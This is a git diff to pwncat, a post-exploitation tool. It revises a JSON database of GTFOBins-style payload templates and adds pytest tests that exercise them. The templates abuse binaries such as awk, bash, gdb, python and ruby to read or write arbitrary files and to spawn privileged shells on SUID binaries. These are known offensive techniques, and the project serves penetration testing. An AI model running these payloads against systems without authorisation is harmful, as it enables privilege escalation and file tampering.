diff --git a/pwncat/data/gtfobins.json b/pwncat/data/gtfobins.json index a83d9d77..2818d6e9 100644 --- a/pwncat/data/gtfobins.json +++ b/pwncat/data/gtfobins.json @@ -25,23 +25,13 @@ "cp": [ { "type": "write", - "stream": "print", + "stream": "raw", "payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {cat} > $TF; {command}; rm -f $TF", "args": [ "$TF", "{lfile}" ], "exit": "{ctrl_d}" - }, - { - "type": "write", - "stream": "base64", - "payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF", - "args": [ - "$TF", - "{lfile}" - ], - "exit": "{ctrl_d}" } ], "bash": [ @@ -67,11 +57,11 @@ }, { "type": "write", - "stream": "base64", + "stream": "raw", "payload": "{command}", "args": [ "-c", - "'{base64} -d > {lfile}'" + "'cat - > {lfile}'" ], "suid": [ "-p" @@ -99,8 +89,8 @@ }, { "type": "write", - "stream": "base64", - "payload": "{command} -c '{base64} -d > {lfile}'", + "stream": "raw", + "payload": "{command} -c 'cat - > {lfile}'", "suid": [ "-p" ], @@ -168,8 +158,8 @@ }, { "type": "write", - "stream": "base64", - "payload": "{command} -c '{base64} -d > {lfile}'", + "stream": "raw", + "payload": "{command} -c 'cat - > {lfile}'", "suid": [ "-p" ], @@ -182,11 +172,6 @@ "payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'", "exit": "exit" }, - { - "type": "read", - "stream": "print", - "payload": "{command} // {lfile}" - }, { "type": "read", "stream": "raw", @@ -388,43 +373,11 @@ }, { "type": "write", - "stream": "base64", - "payload": "{command}", - "args": [ - "-c", - "\"{base64} -d > {lfile}\"", - "-b" - ], - "exit": "{ctrl_d}{ctrl_d}" - } - ], - "bsd-csh": [ - { - "type": "shell", - "payload": "{command}", - "input": "{shell} -p\n", - "suid": [ - "-b" - ], - "exit": "exit\nexit\n" - }, - { - "type": "read", - "stream": "print", - "payload": "{command}", - "args": [ - "-c", - "\"{cat} {lfile}\"", - "-b" - ] - }, - { - "type": "write", - "stream": "base64", + "stream": "raw", "payload": "{command}", "args": [ "-c", - "\"{base64} -d > {lfile}\"", + "\"cat - > {lfile}\"", "-b" ], "exit": "{ctrl_d}{ctrl_d}" @@ -440,15 +393,6 @@ "file://{lfile} --output -" ] }, - { - "type": "read", - "stream": "base64", - "payload": "{command} | {base64} -w 0", - "args": [ - "-s", - "file://{lfile} --output -" - ] - }, { "type": "write", "stream": "print", @@ -458,18 +402,6 @@ "file://$TF --output {lfile}" ], "exit": "{ctrl_d}" - }, - { - "type": "write", - "stream": "base64", - "payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF", - "args": [ - "-s", - "file://$TF", - "--output", - "{lfile}" - ], - "exit": "{ctrl_d}" } ], "cut": [ @@ -502,7 +434,7 @@ { "type": "read", "stream": "print", - "payload": "{command}", + "payload": "{command} 2>/dev/null", "args": [ "--line-format=%L", "/dev/null", @@ -556,8 +488,8 @@ }, { "type": "write", - "stream": "base64", - "payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp} -d); {cat} > $TF/b64; echo \"import os; os.execl('''{python}''', 'python', '''-c''', '''import base64\\nwith open('{lfile}','wb') as h:\\n\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\th.write(base64.b64decode(line.strip()))''')\" > $TF/setup.py; {command} $TF 2>/dev/null; {rm} -f $TF/b64", + "stream": "raw", + "payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp} -d); {cat} > $TF/x; echo \"import os; os.execl('''{python}''', 'python', '''-c''', '''import shutil\\nwith open('{lfile}','wb') as h:\\n\\twith open('$TF/x', 'rb') as x:\\n\\t\\tshutil.copyfileobj(x, h)''')\" > $TF/setup.py; {command} $TF 2>/dev/null; {rm} -rf $TF", "args": [], "exit": "{ctrl_d}{ctrl_d}" } @@ -744,12 +676,12 @@ }, { "type": "write", - "stream": "base64", + "stream": "raw", "payload": "{command}", "args": [ "-u", "/", - "{sh} -c \"{base64} -d > {lfile}\"" + "{sh} -c \"cat > {lfile}\"" ], "exit": "{ctrl_d}{ctrl_d}" } @@ -864,27 +796,13 @@ }, { "type": "write", - "stream": "print", - "payload": "{command}", - "args": [ - "-q", - "-nx", - "-ex", - "'python import sys; open(\"{lfile}\",\"w\").write(sys.stdin.read())'", - "-ex", - "quit" - ], - "exit": "{ctrl_d}{ctrl_d}" - }, - { - "type": "write", - "stream": "base64", + "stream": "raw", "payload": "{command}", "args": [ "-q", "-nx", "-ex", - "'python import sys,base64; exec(\"\"\"with open(\"{lfile}\",\"wb\") as f:\\n\\tfor line in sys.stdin:\\n\\t\\tf.write(base64.b64decode(line.strip()))\"\"\")'", + "'python import sys,shutil; shutil.copyfileobj(sys.stdin.buffer, open(\"{lfile}\",\"wb\"))'", "-ex", "quit" ], @@ -986,8 +904,9 @@ { "type": "read", "stream": "print", - "payload": "{command}", + "payload": "{command} | {head} --bytes=-1", "args": [ + "-a", "''", "{lfile}" ] @@ -1041,8 +960,8 @@ }, { "type": "write", - "stream": "base64", - "payload": "{base64} -d | {command}", + "stream": "raw", + "payload": "{cat} - | {command}", "args": [ "-f", "8859_1", @@ -1089,17 +1008,8 @@ }, { "type": "write", - "stream": "print", - "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}", - "args": [ - "$TF" - ], - "exit": "{ctrl_d}{ctrl_d}" - }, - { - "type": "write", - "stream": "base64", - "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}", + "stream": "raw", + "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}; rm -f $TF", "args": [ "$TF" ], @@ -1124,21 +1034,12 @@ }, { "type": "write", - "stream": "print", + "stream": "raw", "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}", "args": [ "$TF" ], "exit": "{ctrl_d}{ctrl_d}" - }, - { - "type": "write", - "stream": "base64", - "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}", - "args": [ - "$TF" - ], - "exit": "{ctrl_d}{ctrl_d}" } ], "jjs": [ @@ -1201,11 +1102,11 @@ }, { "type": "write", - "stream": "base64", + "stream": "raw", "payload": "{command}", "args": [ "-c", - "\"{base64} -d > {lfile}\"" + "\"cat - > {lfile}\"" ], "exit": "{ctrl_d}{ctrl_d}" } @@ -1231,11 +1132,11 @@ }, { "type": "write", - "stream": "base64", + "stream": "raw", "payload": "{command}", "args": [ "-c", - "\"{base64} -d > {lfile}\"" + "\"cat - > {lfile}\"" ], "exit": "{ctrl_d}{ctrl_d}" } @@ -1367,8 +1268,8 @@ }, { "type": "write", - "stream": "base64", - "payload": "{command} /etc/hosts; TF=$({mktemp} -u); {base64} -d > $TF; {command} < $TF; {rm} -f $TF", + "stream": "raw", + "payload": "{command} /etc/hosts; TF=$({mktemp} -u); cat - > $TF; {command} < $TF; {rm} -f $TF", "input": "q", "exit": "{ctrl_d}{ctrl_d}s{lfile}\nq\n" } @@ -1463,11 +1364,6 @@ "type": "shell", "payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'" }, - { - "type": "read", - "stream": "print", - "payload": "{command} // {lfile}" - }, { "type": "read", "stream": "raw", @@ -1502,8 +1398,8 @@ "mv": [ { "type": "write", - "stream": "base64", - "payload": "TF=$({mktemp} -u); {base64} -d > $TF; {command}; {rm} -f $TF", + "stream": "raw", + "payload": "TF=$({mktemp} -u); {cat} > $TF; {command}; {rm} -f $TF", "args": [ "$TF", "{lfile}" @@ -1540,11 +1436,6 @@ "type": "shell", "payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'" }, - { - "type": "read", - "stream": "print", - "payload": "{command} // {lfile}" - }, { "type": "read", "stream": "raw", @@ -1647,8 +1538,8 @@ }, { "type": "write", - "stream": "base64", - "payload": "{base64} -d | {command}", + "stream": "raw", + "payload": "{command}", "args": [ "enc", "-out", @@ -2009,10 +1900,11 @@ }, { "type": "write", - "stream": "base64", - "payload": "TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\nwith open('{lfile}','wb') as h:\\n\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\th.write(base64.b64decode(line.strip()))''')\"; {rm} -f $TF/b64", + "stream": "raw", + "payload": "{command}", "args": [ - "" + "-c", + "exec('''import shutil, sys\\nshutil.copyfileobj(sys.stdout.buffer, open('{lfile}', 'wb'))''')" ], "exit": "{ctrl_d}{ctrl_d}" } @@ -2037,10 +1929,11 @@ }, { "type": "write", - "stream": "base64", - "payload": "TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64", + "stream": "raw", + "payload": "{command}", "args": [ - "" + "-c", + "exec('''import shutil, sys\\nshutil.copyfileobj(sys.stdout.buffer, open('{lfile}', 'wb'))''')" ], "exit": "{ctrl_d}{ctrl_d}" } @@ -2065,10 +1958,11 @@ }, { "type": "write", - "stream": "base64", - "payload": "TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64", + "stream": "raw", + "payload": "{command}", "args": [ - "" + "-c", + "exec('''import shutil, sys\\nshutil.copyfileobj(sys.stdout.buffer, open('{lfile}', 'wb'))''')" ], "exit": "{ctrl_d}{ctrl_d}" } @@ -2093,10 +1987,11 @@ }, { "type": "write", - "stream": "base64", - "payload": "TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64", + "stream": "raw", + "payload": "{command}", "args": [ - "" + "-c", + "exec('''import shutil, sys\\nshutil.copyfileobj(sys.stdout.buffer, open('{lfile}', 'wb'))''')" ], "exit": "{ctrl_d}{ctrl_d}" } @@ -2121,10 +2016,11 @@ }, { "type": "write", - "stream": "base64", - "payload": "TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64", + "stream": "raw", + "payload": "{command}", "args": [ - "" + "-c", + "exec('''import shutil, sys\\nshutil.copyfileobj(sys.stdout.buffer, open('{lfile}', 'wb'))''')" ], "exit": "{ctrl_d}{ctrl_d}" } @@ -2149,10 +2045,11 @@ }, { "type": "write", - "stream": "base64", - "payload": "TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64", + "stream": "raw", + "payload": "{command}", "args": [ - "" + "-c", + "exec('''import shutil, sys\\nshutil.copyfileobj(sys.stdout.buffer, open('{lfile}', 'wb'))''')" ], "exit": "{ctrl_d}{ctrl_d}" } @@ -2177,10 +2074,11 @@ }, { "type": "write", - "stream": "base64", - "payload": "TF=$({mktemp} -d); {cat} > $TF/b64; {command} -c \"exec('''import base64,os\\n\\ntry:\\n\\twith open('{lfile}','wb') as h:\\n\\t\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\t\\th.write(base64.b64decode(line.strip()))\\nexcept:\\n\\twhile 1:\\n\\t\\tsys.stdin.read()''')\"; {rm} -f $TF/b64", + "stream": "raw", + "payload": "{command}", "args": [ - "" + "-c", + "exec('''import shutil, sys\\nshutil.copyfileobj(sys.stdout.buffer, open('{lfile}', 'wb'))''')" ], "exit": "{ctrl_d}{ctrl_d}" } @@ -2268,21 +2166,12 @@ }, { "type": "write", - "stream": "print", + "stream": "raw", "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}", "args": [ "$TF" ], "exit": "{ctrl_d}{ctrl_d}" - }, - { - "type": "write", - "stream": "base64", - "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}", - "args": [ - "$TF" - ], - "exit": "{ctrl_d}{ctrl_d}" } ], "ruby2.5": [ @@ -2303,21 +2192,12 @@ }, { "type": "write", - "stream": "print", + "stream": "raw", "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}", "args": [ "$TF" ], "exit": "{ctrl_d}{ctrl_d}" - }, - { - "type": "write", - "stream": "base64", - "payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}", - "args": [ - "$TF" - ], - "exit": "{ctrl_d}{ctrl_d}" } ], "run-parts": [ @@ -2468,7 +2348,7 @@ }, { "type": "write", - "stream": "print", + "stream": "raw", "payload": "{command} 2>/dev/null", "args": [ "-u", @@ -2476,17 +2356,6 @@ "CREATE:{lfile}" ], "exit": "{ctrl_d}" - }, - { - "type": "write", - "stream": "base64", - "payload": "{base64} -d | {command} 2>/dev/null", - "args": [ - "-u", - "STDIN", - "CREATE:{lfile}" - ], - "exit": "{ctrl_d}" } ], "soelim": [ @@ -2503,7 +2372,7 @@ { "type": "read", "stream": "print", - "payload": "{command}", + "payload": "{command} | {head} --bytes=-1", "args": [ "-m", "{lfile}" @@ -2701,8 +2570,8 @@ "tee": [ { "type": "write", - "stream": "base64", - "payload": "{base64} -d | {command} >/dev/null", + "stream": "raw", + "payload": "{command} >/dev/null", "args": [ "{lfile}" ], diff --git a/tests/test_fileio.py b/tests/test_fileio.py index e1b40a87..872f6758 100644 --- a/tests/test_fileio.py +++ b/tests/test_fileio.py @@ -1,6 +1,13 @@ #!/usr/bin/env python3 +import json +import subprocess + +import pytest +import pkg_resources from pwncat.util import random_string +from pwncat.gtfobins import Stream, Capability +from pwncat.platform.linux import LinuxReader, LinuxWriter def do_file_test(session, content): @@ -47,3 +54,231 @@ def test_large_binary(session): contents = bytes(list(range(32))) * 400 do_file_test(session, contents) + + +# Load the GTFObins database to get test cases +with open(pkg_resources.resource_filename("pwncat", "data/gtfobins.json")) as filp: + gtfobins = json.load(filp) + gtfobin_raw_writers = [ + key + for key, payloads in gtfobins.items() + if any( + [ + payload["type"] == "write" + and "stream" in payload + and payload["stream"] == "raw" + for payload in payloads + ] + ) + ] + gtfobin_print_writers = [ + key + for key, payloads in gtfobins.items() + if any( + [ + payload["type"] == "write" + and ("stream" not in payload or payload["stream"] == "print") + for payload in payloads + ] + ) + ] + gtfobin_raw_readers = [ + key + for key, payloads in gtfobins.items() + if any( + [ + payload["type"] == "read" + and "stream" in payload + and payload["stream"] == "raw" + for payload in payloads + ] + ) + ] + gtfobin_print_readers = [ + key + for key, payloads in gtfobins.items() + if any( + [ + payload["type"] == "read" + and ("stream" not in payload or payload["stream"] == "print") + for payload in payloads + ] + ) + ] + gtfobin_shells = [ + key + for key, payloads in gtfobins.items() + if len([payload["type"] == "shell" for payload in payloads]) + ] + + +@pytest.mark.parametrize("binary", gtfobin_print_readers) +def test_gtfobin_read_print(binary, linux): + + # Find the local binary + binary_path = linux.platform.which(binary) + + # Skip if binary not available + if binary_path is None: + pytest.skip("binary not available") + + for method in linux.platform.gtfo.iter_binary( + binary_path, caps=Capability.READ, stream=Stream.PRINT + ): + payload, input_data, exit_cmd = method.build( + gtfo=linux.platform.gtfo, lfile="/tests/print", suid=False + ) + + popen = linux.platform.Popen( + payload, + shell=True, + stdin=subprocess.PIPE, + bootstrap_input=input_data.encode("utf-8"), + ) + stream = LinuxReader( + popen, + on_close=lambda filp: filp.popen.platform.channel.send( + exit_cmd.encode("utf-8") + ), + name="/tests/print", + ) + + with stream: + assert stream.read() == "Hello\nWorld".encode("utf-8") + + +@pytest.mark.parametrize("binary", gtfobin_raw_readers) +def test_gtfobin_read_raw(binary, linux): + + # Find the local binary + binary_path = linux.platform.which(binary) + + # Skip if binary not available + if binary_path is None: + pytest.skip("binary not available") + + for method in linux.platform.gtfo.iter_binary( + binary_path, caps=Capability.READ, stream=Stream.RAW + ): + payload, input_data, exit_cmd = method.build( + gtfo=linux.platform.gtfo, lfile="/tests/raw", suid=False + ) + + popen = linux.platform.Popen( + payload, + shell=True, + stdin=subprocess.PIPE, + bootstrap_input=input_data.encode("utf-8"), + ) + stream = LinuxReader( + popen, + on_close=lambda filp: filp.popen.platform.channel.send( + exit_cmd.encode("utf-8") + ), + name="/tests/raw", + ) + + with stream: + assert stream.read() == bytes(list(range(256))) + + +@pytest.mark.parametrize("binary", gtfobin_raw_writers) +def test_gtfobin_write_raw(binary, linux): + + # Find the local binary + binary_path = linux.platform.which(binary) + + # Skip if binary not available + if binary_path is None: + pytest.skip("binary not available") + + for method in linux.platform.gtfo.iter_binary( + binary_path, caps=Capability.WRITE, stream=Stream.RAW + ): + payload, input_data, exit_cmd = method.build( + gtfo=linux.platform.gtfo, lfile="/tmp/write_raw", suid=False + ) + + popen = linux.platform.Popen( + payload, + shell=True, + stdin=subprocess.PIPE, + bootstrap_input=input_data.encode("utf-8"), + ) + stream = LinuxWriter( + popen, + on_close=lambda filp: filp.popen.platform.channel.send( + exit_cmd.encode("utf-8") + ), + name="/tmp/write_raw", + ) + + with stream: + assert stream.write(bytes(list(range(256)))) == 256 + + with linux.platform.open("/tmp/write_raw", "rb") as filp: + assert filp.read() == bytes(list(range(256))) + + linux.platform.unlink("/tmp/write_raw") + + +@pytest.mark.parametrize("binary", gtfobin_print_writers) +def test_gtfobin_write_print(binary, linux): + + content = b"Hello\nWorld" + + # Find the local binary + binary_path = linux.platform.which(binary) + + # Skip if binary not available + if binary_path is None: + pytest.skip("binary not available") + + for method in linux.platform.gtfo.iter_binary( + binary_path, caps=Capability.WRITE, stream=Stream.PRINT + ): + payload, input_data, exit_cmd = method.build( + gtfo=linux.platform.gtfo, lfile="/tmp/write_print", suid=False + ) + + popen = linux.platform.Popen( + payload, + shell=True, + stdin=subprocess.PIPE, + bootstrap_input=input_data.encode("utf-8"), + ) + stream = LinuxWriter( + popen, + on_close=lambda filp: filp.popen.platform.channel.send( + exit_cmd.encode("utf-8") + ), + name="/tmp/write_print", + ) + + with stream: + assert stream.write(content) == len(content) + + with linux.platform.open("/tmp/write_print", "rb") as filp: + assert filp.read() == content + + linux.platform.unlink("/tmp/write_print") + + +# @pytest.mark.parametrize("binary", gtfobin_writers) +# def test_gtfobin_write(binary, session): +# +# # Skip if binary not available +# if session.platform.which(binary) is None: +# pytest.skip("binary not available") +# +# return +# +# +# @pytest.mark.parametrize("binary", gtfobin_shells) +# def test_gtfobin_shell(binary, session): +# +# # Skip if binary not available +# if session.platform.which(binary) is None: +# pytest.skip("binary not available") +# +# return